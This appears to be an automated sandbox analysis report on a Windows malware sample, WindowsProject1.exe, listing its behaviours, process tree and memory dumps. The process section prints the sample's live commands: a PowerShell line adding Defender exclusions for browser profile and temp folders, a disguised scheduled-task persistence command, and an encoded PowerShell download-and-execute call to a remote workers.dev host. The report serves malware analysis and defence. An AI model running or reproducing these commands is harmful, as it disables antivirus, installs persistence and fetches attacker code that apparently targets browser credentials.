Analysis
- max time kernel
149s - max time network
125s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
27/06/2026, 01:25
General
- Target WindowsProject1.exe
- Size 108KB
- Sample260627-bs68eaf18t
- SHA256 c7a44aca6b0128fd53dd71e960cd6275ea47771421301d0f564d6eb80ba3d5e0
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops startup file 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\WindowsProject1.exe"C:\Users\Admin\AppData\Local\Temp\WindowsProject1.exe"1⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$startupPath = [Environment]::GetFolderPath('Startup'); $exePath = Join-Path $startupPath 'WindowsProject1.exe'; $tempPath = [System.IO.Path]::GetTempPath(); Add-MpPreference -ExclusionPath $startupPath -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath $exePath -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath $tempPath -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\Google\Chrome\User Data' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\BraveSoftware\Brave-Browser\User Data' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\Microsoft\Edge\User Data' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Roaming\Opera Software\Opera Stable' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Roaming\Opera Software\Opera GX Stable' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'WindowsProject1.exe' -ErrorAction SilentlyContinue" -WindowStyle Hidden -ExecutionPolicy Bypass2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "WindowsUpdateService" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsProject1.exe" /sc onlogon /f /rl highest2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Enc cwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBDAG8AbQBtAGEAbgBkACAAIgBpAGUAeAAgACgAaQB3AHIAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAAaAB0AHQAcABzADoALwAvAGgAeQBwAGUAcgByAGEAcABlAHIALgB0AGgAZQB4AG8AcgA3AC4AdwBvAHIAawBlAHIAcwAuAGQAZQB2AC8AcABzAGMAKQAuAEMAbwBuAHQAZQBuAHQAIgAnAA==2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -UseBasicParsing https://hyperraper.thexor7.workers.dev/psc).Content"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_unup4hht.4k1.ps1
memory/792-60-0x0000000005ED0000-0x0000000005F1C000-memory.dmp
memory/792-52-0x00000000058B0000-0x0000000005C0B000-memory.dmp
memory/5236-39-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/5236-51-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/5236-49-0x0000000006690000-0x00000000066DC000-memory.dmp
memory/5236-41-0x0000000005FA0000-0x00000000062FB000-memory.dmp
memory/5236-40-0x0000000074A60000-0x000000007521C000-memory.dmp
memory/5340-14-0x0000000005850000-0x0000000005BAB000-memory.dmp
memory/5340-34-0x00000000081D0000-0x000000000884C000-memory.dmp
memory/5340-17-0x0000000006F30000-0x0000000006FC6000-memory.dmp
memory/5340-18-0x00000000062C0000-0x00000000062DA000-memory.dmp
memory/5340-19-0x0000000006320000-0x0000000006342000-memory.dmp
memory/5340-20-0x0000000007590000-0x0000000007B4A000-memory.dmp
memory/5340-21-0x00000000070F0000-0x0000000007126000-memory.dmp
memory/5340-22-0x0000000074A90000-0x000000007524C000-memory.dmp
memory/5340-23-0x0000000070CB0000-0x0000000070CFC000-memory.dmp
memory/5340-33-0x0000000007160000-0x0000000007203000-memory.dmp
memory/5340-32-0x0000000007130000-0x0000000007150000-memory.dmp
memory/5340-30-0x0000000074A90000-0x000000007524C000-memory.dmp
memory/5340-24-0x0000000074A90000-0x000000007524C000-memory.dmp
memory/5340-16-0x0000000005DB0000-0x0000000005DFC000-memory.dmp
memory/5340-35-0x00000000072E0000-0x00000000072EA000-memory.dmp
memory/5340-36-0x0000000074A90000-0x000000007524C000-memory.dmp
memory/5340-38-0x0000000074A90000-0x000000007524C000-memory.dmp
memory/5340-15-0x0000000005D60000-0x0000000005D7E000-memory.dmp
memory/5340-0-0x0000000074AA2000-0x0000000074AA3000-memory.dmp
memory/5340-7-0x00000000057E0000-0x0000000005846000-memory.dmp
memory/5340-6-0x0000000005770000-0x00000000057D6000-memory.dmp
memory/5340-5-0x00000000055D0000-0x00000000055F2000-memory.dmp
memory/5340-4-0x0000000074A90000-0x000000007524C000-memory.dmp
memory/5340-2-0x0000000004F20000-0x000000000556A000-memory.dmp
memory/5340-3-0x0000000074A90000-0x000000007524C000-memory.dmp
memory/5340-1-0x0000000002500000-0x0000000002536000-memory.dmp